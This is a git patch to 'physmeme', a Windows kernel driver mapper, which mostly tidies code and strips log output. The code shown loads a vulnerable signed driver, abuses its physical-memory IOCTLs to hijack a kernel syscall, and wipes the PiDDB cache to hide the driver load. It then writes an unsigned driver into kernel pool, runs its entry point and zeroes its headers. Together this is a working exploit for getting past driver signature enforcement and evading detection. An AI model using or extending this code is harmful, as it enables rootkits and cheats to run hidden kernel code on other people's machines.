From efe9fd48c8d630b1ba805f52f66073bfd6a25638 Mon Sep 17 00:00:00 2001 From: xerox Date: Fri, 30 Oct 2020 16:57:36 -0700 Subject: [PATCH] cleaned some code --- physmeme-lib/drv_image/drv_image.cpp | 103 +++++++++---------------- physmeme-lib/drv_image/drv_image.h | 17 ++-- physmeme-lib/kernel_ctx/kernel_ctx.cpp | 3 +- physmeme-lib/map_driver.cpp | 44 +---------- physmeme-lib/physmeme/physmeme.hpp | 68 ++++++---------- physmeme/drv_image/drv_image.cpp | 103 ++++++++++--------------- physmeme/drv_image/drv_image.h | 16 ++-- physmeme/kernel_ctx/kernel_ctx.h | 32 ++++---- physmeme/main.cpp | 84 ++++---------------- physmeme/physmeme/physmeme.hpp | 70 +++++++---------- physmeme/util/util.hpp | 2 +- 11 files changed, 179 insertions(+), 363 deletions(-) diff --git a/physmeme-lib/drv_image/drv_image.cpp b/physmeme-lib/drv_image/drv_image.cpp index b51fbb5..961cc60 100644 --- a/physmeme-lib/drv_image/drv_image.cpp +++ b/physmeme-lib/drv_image/drv_image.cpp @@ -27,8 +27,6 @@ For more information, please refer to !!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! */ - -#include #include "../drv_image/drv_image.h" namespace physmeme @@ -62,53 +60,49 @@ namespace physmeme const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress; const auto source = (uintptr_t)m_dos_header + section.PointerToRawData; std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress); - printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", §ion.Name[0], (void*)source, (void*)target, section.SizeOfRawData); } } bool drv_image::process_relocation(uintptr_t image_base_delta, uint16_t data, uint8_t* relocation_base) { #define IMR_RELOFFSET(x) (x & 0xFFF) - switch (data >> 12 & 0xF) { - case IMAGE_REL_BASED_HIGH: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(HIWORD(image_base_delta)); - break; - } - case IMAGE_REL_BASED_LOW: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(LOWORD(image_base_delta)); - break; - } - case IMAGE_REL_BASED_HIGHLOW: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(image_base_delta); - break; - } - case IMAGE_REL_BASED_DIR64: - { - auto UNALIGNED raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += image_base_delta; - break; - } - case IMAGE_REL_BASED_ABSOLUTE: // No action required - case IMAGE_REL_BASED_HIGHADJ: // no action required - { - break; - } - default: - { - return false; - } - + case IMAGE_REL_BASED_HIGH: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(HIWORD(image_base_delta)); + break; + } + case IMAGE_REL_BASED_LOW: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(LOWORD(image_base_delta)); + break; + } + case IMAGE_REL_BASED_HIGHLOW: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(image_base_delta); + break; + } + case IMAGE_REL_BASED_DIR64: + { + auto UNALIGNED raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += image_base_delta; + break; + } + case IMAGE_REL_BASED_ABSOLUTE: // No action required + case IMAGE_REL_BASED_HIGHADJ: // no action required + { + break; + } + default: + { + return false; + } } #undef IMR_RELOFFSET - return true; } @@ -124,37 +118,24 @@ namespace physmeme auto image_base_delta = static_cast(reinterpret_cast(base) - (nt_headers->OptionalHeader.ImageBase)); auto relocation_size = total_count_bytes; - // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults - const bool doRelocations = image_base_delta != 0 && relocation_size > 0; - - if (!doRelocations) - { - printf("[+] no relocations needed\n"); + // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + // too but lots of drivers do not have it set due to WDK defaults + if (!(image_base_delta != 0 && relocation_size > 0)) return; - } void* relocation_end = reinterpret_cast(relocation_directory) + relocation_size; - while (relocation_directory < relocation_end) { auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr); - auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1; - auto relocation_data = reinterpret_cast(relocation_directory + 1); for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) - { if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) - { - printf("[+] failed to relocate!"); return; - } - } relocation_directory = reinterpret_cast(relocation_data); } - } template @@ -163,31 +144,24 @@ namespace physmeme return (T*)(uintptr_t)base + offset; } - void drv_image::fix_imports(const std::function get_module, const std::function get_function) + void drv_image::fix_imports(const std::function get_function) { ULONG size; auto import_descriptors = static_cast(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); - if (import_descriptors == nullptr) - { - printf("[+] no imports!\n"); + if (!import_descriptors) return; - } for (; import_descriptors->Name; import_descriptors++) { IMAGE_THUNK_DATA* image_thunk_data; - const auto module_name = get_rva(import_descriptors->Name); - const auto module_base = get_module(module_name); - printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base); if (import_descriptors->OriginalFirstThunk) image_thunk_data = get_rva(import_descriptors->OriginalFirstThunk); else image_thunk_data = get_rva(import_descriptors->FirstThunk); auto image_func_data = get_rva(import_descriptors->FirstThunk); -; for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++) { @@ -197,7 +171,6 @@ namespace physmeme const auto name_of_import = static_cast(image_import_by_name->Name); function_address = get_function(module_name, name_of_import); - printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address); image_func_data->u1.Function = function_address; } } diff --git a/physmeme-lib/drv_image/drv_image.h b/physmeme-lib/drv_image/drv_image.h index 7e98369..fcc909c 100644 --- a/physmeme-lib/drv_image/drv_image.h +++ b/physmeme-lib/drv_image/drv_image.h @@ -28,7 +28,6 @@ For more information, please refer to !!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! */ - #pragma once #include #define WIN32_NO_STATUS @@ -52,26 +51,22 @@ namespace physmeme PIMAGE_DOS_HEADER m_dos_header = nullptr; PIMAGE_NT_HEADERS64 m_nt_headers = nullptr; PIMAGE_SECTION_HEADER m_section_header = nullptr; - public: explicit drv_image(std::vector image); + + void map(); + void* data(); size_t size() const; + size_t header_size(); uintptr_t entry_point() const; - void map(); - static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base); void relocate(void* base) const; + void fix_imports(const std::function get_function); + static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base); template __forceinline T* get_rva(const unsigned long offset) { return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); } - - void fix_imports( - const std::function get_module, - const std::function get_function - ); - void* data(); - size_t header_size(); }; } \ No newline at end of file diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.cpp b/physmeme-lib/kernel_ctx/kernel_ctx.cpp index a322c2d..3017e36 100644 --- a/physmeme-lib/kernel_ctx/kernel_ctx.cpp +++ b/physmeme-lib/kernel_ctx/kernel_ctx.cpp @@ -16,8 +16,7 @@ namespace physmeme nt_page_offset = nt_rva % page_size; ntoskrnl_buffer = reinterpret_cast( - LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) - ); + LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)); std::vector search_threads; //--- for each physical memory range, make a thread to search it diff --git a/physmeme-lib/map_driver.cpp b/physmeme-lib/map_driver.cpp index a9eb895..5a08971 100644 --- a/physmeme-lib/map_driver.cpp +++ b/physmeme-lib/map_driver.cpp @@ -6,44 +6,22 @@ namespace physmeme NTSTATUS __cdecl map_driver(std::vector& raw_driver) { physmeme::drv_image image(raw_driver); - - // - // load exploitable driver - // if (!physmeme::load_drv()) return STATUS_ABANDONED; physmeme::kernel_ctx ctx; - - // - // shoot the tires off piddb cache. - // const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp; if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) return STATUS_ABANDONED; - // - // lambdas used for fixing driver image - // - const auto _get_module = [&](std::string_view name) - { - return util::get_module_base(name.data()); - }; - const auto _get_export_name = [&](const char* base, const char* name) { return reinterpret_cast(util::get_kernel_export(base, name)); }; - // - // fix the driver image - // - image.fix_imports(_get_module, _get_export_name); + image.fix_imports(_get_export_name); image.map(); - // - // allocate memory in the kernel for the driver - // const auto pool_base = ctx.allocate_pool( image.size(), @@ -51,35 +29,19 @@ namespace physmeme ); image.relocate(pool_base); - - // - // copy driver into the kernel - // ctx.write_kernel(pool_base, image.data(), image.size()); - - // - // driver entry - // auto entry_point = reinterpret_cast(pool_base) + image.entry_point(); - // - // call driver entry - // - auto result = ctx.syscall( + auto result = ctx.syscall + ( reinterpret_cast(entry_point), reinterpret_cast(pool_base), image.size() ); - // - // zero driver headers - // ctx.zero_kernel_memory(pool_base, image.header_size()); - - physmeme::unmap_all(); if (!physmeme::unload_drv()) return STATUS_ABANDONED; - return result; } diff --git a/physmeme-lib/physmeme/physmeme.hpp b/physmeme-lib/physmeme/physmeme.hpp index d4b2732..27e95da 100644 --- a/physmeme-lib/physmeme/physmeme.hpp +++ b/physmeme-lib/physmeme/physmeme.hpp @@ -1,13 +1,14 @@ #pragma once #include -#include #include -#include #include "../util/util.hpp" #include "../loadup.hpp" #include "../raw_driver.hpp" +#define MAP_PHYSICAL 0xC3502004 +#define UNMAP_PHYSICAL 0xC3502008 + #pragma pack ( push, 1 ) typedef struct _GIOMAP { @@ -19,20 +20,11 @@ typedef struct _GIOMAP } GIOMAP; #pragma pack ( pop ) -#define MAP_PHYS 0xC3502004 -#define UNMAP_PHYS 0xC3502008 - namespace physmeme { inline std::string drv_key; inline HANDLE drv_handle = NULL; - // keep track of mappings. - inline std::vector> virtual_mappings; - - // - // please code this function depending on your method of physical read/write. - // inline bool load_drv() { const auto [result, key] = @@ -54,21 +46,12 @@ namespace physmeme return drv_handle; } - // - // please code this function depending on your method of physical read/write. - // inline bool unload_drv() { return CloseHandle(drv_handle) && driver::unload(drv_key); } - // - // please code this function depending on your method of physical read/write. - // - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) + inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size) { //--- ensure the validity of the address we are going to try and map if (!util::is_valid(addr)) @@ -77,36 +60,35 @@ namespace physmeme GIOMAP in_buffer = { 0, 0, addr, 0, size }; uintptr_t out_buffer[2] = { 0 }; unsigned long returned = 0; - DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - virtual_mappings.emplace_back(std::pair(out_buffer[0], size)); + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof(in_buffer), + reinterpret_cast(out_buffer), + sizeof(out_buffer), + &returned, NULL + )) + return NULL; + return out_buffer[0]; } - // - // please code this function depending on your method of physical read/write. - // - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) + inline bool unmap_phys(std::uintptr_t addr, std::size_t size) { uintptr_t in_buffer = addr; uintptr_t out_buffer[2] = { sizeof(out_buffer) }; - unsigned long returned = NULL; - DeviceIoControl(drv_handle, UNMAP_PHYS, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - } - // - // unmap all physical memory that was mapped. - // - inline void unmap_all() - { - for (auto idx = 0u; idx < virtual_mappings.size(); ++idx) - unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second); + return DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof(in_buffer), + reinterpret_cast(out_buffer), + sizeof(out_buffer), + &returned, NULL + ); } } \ No newline at end of file diff --git a/physmeme/drv_image/drv_image.cpp b/physmeme/drv_image/drv_image.cpp index b51fbb5..a1e294d 100644 --- a/physmeme/drv_image/drv_image.cpp +++ b/physmeme/drv_image/drv_image.cpp @@ -27,8 +27,6 @@ For more information, please refer to !!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! */ - -#include #include "../drv_image/drv_image.h" namespace physmeme @@ -72,43 +70,41 @@ namespace physmeme switch (data >> 12 & 0xF) { - case IMAGE_REL_BASED_HIGH: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(HIWORD(image_base_delta)); - break; - } - case IMAGE_REL_BASED_LOW: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(LOWORD(image_base_delta)); - break; - } - case IMAGE_REL_BASED_HIGHLOW: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(image_base_delta); - break; - } - case IMAGE_REL_BASED_DIR64: - { - auto UNALIGNED raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += image_base_delta; - break; - } - case IMAGE_REL_BASED_ABSOLUTE: // No action required - case IMAGE_REL_BASED_HIGHADJ: // no action required - { - break; - } - default: - { - return false; - } - + case IMAGE_REL_BASED_HIGH: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(HIWORD(image_base_delta)); + break; + } + case IMAGE_REL_BASED_LOW: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(LOWORD(image_base_delta)); + break; + } + case IMAGE_REL_BASED_HIGHLOW: + { + const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += static_cast(image_base_delta); + break; + } + case IMAGE_REL_BASED_DIR64: + { + auto UNALIGNED raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); + *raw_address += image_base_delta; + break; + } + case IMAGE_REL_BASED_ABSOLUTE: // No action required + case IMAGE_REL_BASED_HIGHADJ: // no action required + { + break; + } + default: + { + return false; + } } #undef IMR_RELOFFSET - return true; } @@ -124,33 +120,21 @@ namespace physmeme auto image_base_delta = static_cast(reinterpret_cast(base) - (nt_headers->OptionalHeader.ImageBase)); auto relocation_size = total_count_bytes; - // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults - const bool doRelocations = image_base_delta != 0 && relocation_size > 0; - - if (!doRelocations) - { - printf("[+] no relocations needed\n"); + // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + // too but lots of drivers do not have it set due to WDK defaults + if (!(image_base_delta != 0 && relocation_size > 0)) return; - } void* relocation_end = reinterpret_cast(relocation_directory) + relocation_size; - while (relocation_directory < relocation_end) { auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr); - auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1; - auto relocation_data = reinterpret_cast(relocation_directory + 1); for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) - { if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) - { - printf("[+] failed to relocate!"); return; - } - } relocation_directory = reinterpret_cast(relocation_data); } @@ -163,24 +147,19 @@ namespace physmeme return (T*)(uintptr_t)base + offset; } - void drv_image::fix_imports(const std::function get_module, const std::function get_function) + void drv_image::fix_imports(const std::function get_function) { ULONG size; - auto import_descriptors = static_cast(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); + auto import_descriptors = static_cast( + ::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); - if (import_descriptors == nullptr) - { - printf("[+] no imports!\n"); + if (!import_descriptors) return; - } for (; import_descriptors->Name; import_descriptors++) { IMAGE_THUNK_DATA* image_thunk_data; - const auto module_name = get_rva(import_descriptors->Name); - const auto module_base = get_module(module_name); - printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base); if (import_descriptors->OriginalFirstThunk) image_thunk_data = get_rva(import_descriptors->OriginalFirstThunk); @@ -196,8 +175,6 @@ namespace physmeme const auto image_import_by_name = get_rva(*(DWORD*)image_thunk_data); const auto name_of_import = static_cast(image_import_by_name->Name); function_address = get_function(module_name, name_of_import); - - printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address); image_func_data->u1.Function = function_address; } } diff --git a/physmeme/drv_image/drv_image.h b/physmeme/drv_image/drv_image.h index 7e98369..e16a501 100644 --- a/physmeme/drv_image/drv_image.h +++ b/physmeme/drv_image/drv_image.h @@ -52,26 +52,22 @@ namespace physmeme PIMAGE_DOS_HEADER m_dos_header = nullptr; PIMAGE_NT_HEADERS64 m_nt_headers = nullptr; PIMAGE_SECTION_HEADER m_section_header = nullptr; - public: explicit drv_image(std::vector image); + + void map(); + void* data(); size_t size() const; + size_t header_size(); uintptr_t entry_point() const; - void map(); - static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base); void relocate(void* base) const; + void fix_imports(const std::function get_function); + static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base); template __forceinline T* get_rva(const unsigned long offset) { return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); } - - void fix_imports( - const std::function get_module, - const std::function get_function - ); - void* data(); - size_t header_size(); }; } \ No newline at end of file diff --git a/physmeme/kernel_ctx/kernel_ctx.h b/physmeme/kernel_ctx/kernel_ctx.h index 791160e..8f6ce17 100644 --- a/physmeme/kernel_ctx/kernel_ctx.h +++ b/physmeme/kernel_ctx/kernel_ctx.h @@ -27,6 +27,22 @@ namespace physmeme // inline std::atomic psyscall_func; + // + // offset of function into a physical page + // used for comparing bytes when searching + // + inline std::uint16_t nt_page_offset; + + // + // rva of nt function we are going to hook + // + inline std::uint32_t nt_rva; + + // + // base address of ntoskrnl (inside of this process) + // + inline std::uint8_t* ntoskrnl_buffer; + class kernel_ctx { public: @@ -98,22 +114,6 @@ namespace physmeme return result; } private: - // - // offset of function into a physical page - // used for comparing bytes when searching - // - std::uint16_t nt_page_offset; - - // - // rva of nt function we are going to hook - // - std::uint32_t nt_rva; - - // - // base address of ntoskrnl (inside of this process) - // - std::uint8_t* ntoskrnl_buffer; - // // find and map the physical page of a syscall into this process // diff --git a/physmeme/main.cpp b/physmeme/main.cpp index 5ea8324..e0a1b89 100644 --- a/physmeme/main.cpp +++ b/physmeme/main.cpp @@ -6,116 +6,66 @@ int __cdecl main(int argc, char** argv) { if (argc < 2) { - perror("[-] invalid use, please provide a path to a driver\n"); + std::perror("[-] invalid use, please provide a path to a driver\n"); return -1; } std::vector drv_buffer; util::open_binary_file(argv[1], drv_buffer); - if (!drv_buffer.size()) { - perror("[-] invalid drv_buffer size\n"); + std::perror("[-] invalid drv_buffer size\n"); return -1; } physmeme::drv_image image(drv_buffer); - if (!physmeme::load_drv()) { - perror("[!] unable to load driver....\n"); + std::perror("[!] unable to load driver....\n"); return -1; } - physmeme::kernel_ctx ctx; + physmeme::kernel_ctx kernel_ctx; + std::printf("[+] driver has been loaded...\n"); + std::printf("[+] %s mapped physical page -> 0x%p\n", physmeme::syscall_hook.first, physmeme::psyscall_func.load()); + std::printf("[+] %s page offset -> 0x%x\n", physmeme::syscall_hook.first, physmeme::nt_page_offset); - // - // shoot the tires off piddb cache entry. - // const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp; - printf("[+] clearing piddb cache for driver: %s, with timestamp 0x%x\n", physmeme::drv_key.c_str(), drv_timestamp); - - if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) + if (!kernel_ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) { // this is because the signature might be broken on these versions of windows. perror("[-] failed to clear PiDDBCacheTable.\n"); return -1; } - printf("[+] cleared piddb cache...\n"); - - // - // lambdas used for fixing driver image - // - const auto _get_module = [&](std::string_view name) - { - return util::get_module_base(name.data()); - }; const auto _get_export_name = [&](const char* base, const char* name) { return reinterpret_cast(util::get_kernel_export(base, name)); }; - // - // fix the driver image - // - image.fix_imports(_get_module, _get_export_name); - printf("[+] fixed imports\n"); - + image.fix_imports(_get_export_name); image.map(); - printf("[+] sections mapped in memory\n"); - - // - // allocate memory in the kernel for the driver - // - const auto pool_base = ctx.allocate_pool(image.size(), NonPagedPool); - printf("[+] allocated 0x%llx at 0x%p\n", image.size(), pool_base); - - if (!pool_base) - { - printf("[!] allocation failed!\n"); - return -1; - } + const auto pool_base = kernel_ctx.allocate_pool(image.size(), NonPagedPool); image.relocate(pool_base); - printf("[+] relocations fixed\n"); - - // - // copy driver into the kernel - // - ctx.write_kernel(pool_base, image.data(), image.size()); - - // - // driver entry - // + kernel_ctx.write_kernel(pool_base, image.data(), image.size()); auto entry_point = reinterpret_cast(pool_base) + image.entry_point(); - // - // call driver entry - // - auto result = ctx.syscall( + auto result = kernel_ctx.syscall + ( reinterpret_cast(entry_point), reinterpret_cast(pool_base), image.size() ); - printf("[+] driver entry returned: 0x%p\n", result); - - // - // zero driver headers - // - ctx.zero_kernel_memory(pool_base, image.header_size()); + std::printf("[+] driver entry returned: 0x%p\n", result); - // - // unload exploitable driver - // - physmeme::unmap_all(); // just in case there are any left over physical pages mapped... + kernel_ctx.zero_kernel_memory(pool_base, image.header_size()); if (!physmeme::unload_drv()) { - perror("[!] unable to unload driver... all handles closed?\n"); + std::perror("[!] unable to unload driver... all handles closed?\n"); return -1; } - printf("[+] unloaded exploitable driver....\n"); - printf("[=] press enter to close\n"); + std::printf("[=] press enter to close\n"); std::cin.get(); } \ No newline at end of file diff --git a/physmeme/physmeme/physmeme.hpp b/physmeme/physmeme/physmeme.hpp index 3dae9ba..ce86055 100644 --- a/physmeme/physmeme/physmeme.hpp +++ b/physmeme/physmeme/physmeme.hpp @@ -1,13 +1,14 @@ #pragma once #include -#include #include -#include #include "../util/util.hpp" #include "../loadup.hpp" #include "../raw_driver.hpp" +#define MAP_PHYSICAL 0xC3502004 +#define UNMAP_PHYSICAL 0xC3502008 + #pragma pack ( push, 1 ) typedef struct _GIOMAP { @@ -19,20 +20,11 @@ typedef struct _GIOMAP } GIOMAP; #pragma pack ( pop ) -#define MAP_PHYS 0xC3502004 -#define UNMAP_PHYS 0xC3502008 - namespace physmeme { inline std::string drv_key; inline HANDLE drv_handle = NULL; - // keep track of mappings. - inline std::vector> virtual_mappings; - - // - // please code this function depending on your method of physical read/write. - // inline bool load_drv() { const auto [result, key] = @@ -54,59 +46,49 @@ namespace physmeme return drv_handle; } - // - // please code this function depending on your method of physical read/write. - // inline bool unload_drv() { return CloseHandle(drv_handle) && driver::unload(drv_key); } - // - // please code this function depending on your method of physical read/write. - // - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) + inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size) { //--- ensure the validity of the address we are going to try and map - if (!util::is_phys_addr_valid(addr)) + if (!util::is_valid(addr)) return NULL; GIOMAP in_buffer = { 0, 0, addr, 0, size }; uintptr_t out_buffer[2] = { 0 }; unsigned long returned = 0; - DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - virtual_mappings.emplace_back(std::pair(out_buffer[0], size)); + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof(in_buffer), + reinterpret_cast(out_buffer), + sizeof(out_buffer), + &returned, NULL + )) + return NULL; + return out_buffer[0]; } - // - // please code this function depending on your method of physical read/write. - // - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) + inline bool unmap_phys(std::uintptr_t addr, std::size_t size) { uintptr_t in_buffer = addr; uintptr_t out_buffer[2] = { sizeof(out_buffer) }; - unsigned long returned = NULL; - DeviceIoControl(drv_handle, UNMAP_PHYS, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - } - // - // unmap all physical memory that was mapped. - // - inline void unmap_all() - { - for (auto idx = 0u; idx < virtual_mappings.size(); ++idx) - unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second); + return DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof(in_buffer), + reinterpret_cast(out_buffer), + sizeof(out_buffer), + &returned, NULL + ); } } \ No newline at end of file diff --git a/physmeme/util/util.hpp b/physmeme/util/util.hpp index c08f41c..f0cfc9d 100644 --- a/physmeme/util/util.hpp +++ b/physmeme/util/util.hpp @@ -21,7 +21,7 @@ namespace util static std::map pmem_ranges{}; //--- validates the address - inline bool is_phys_addr_valid(std::uintptr_t addr) + inline bool is_valid(std::uintptr_t addr) { for (auto range : pmem_ranges) if (addr >= range.first && addr <= range.first + range.second)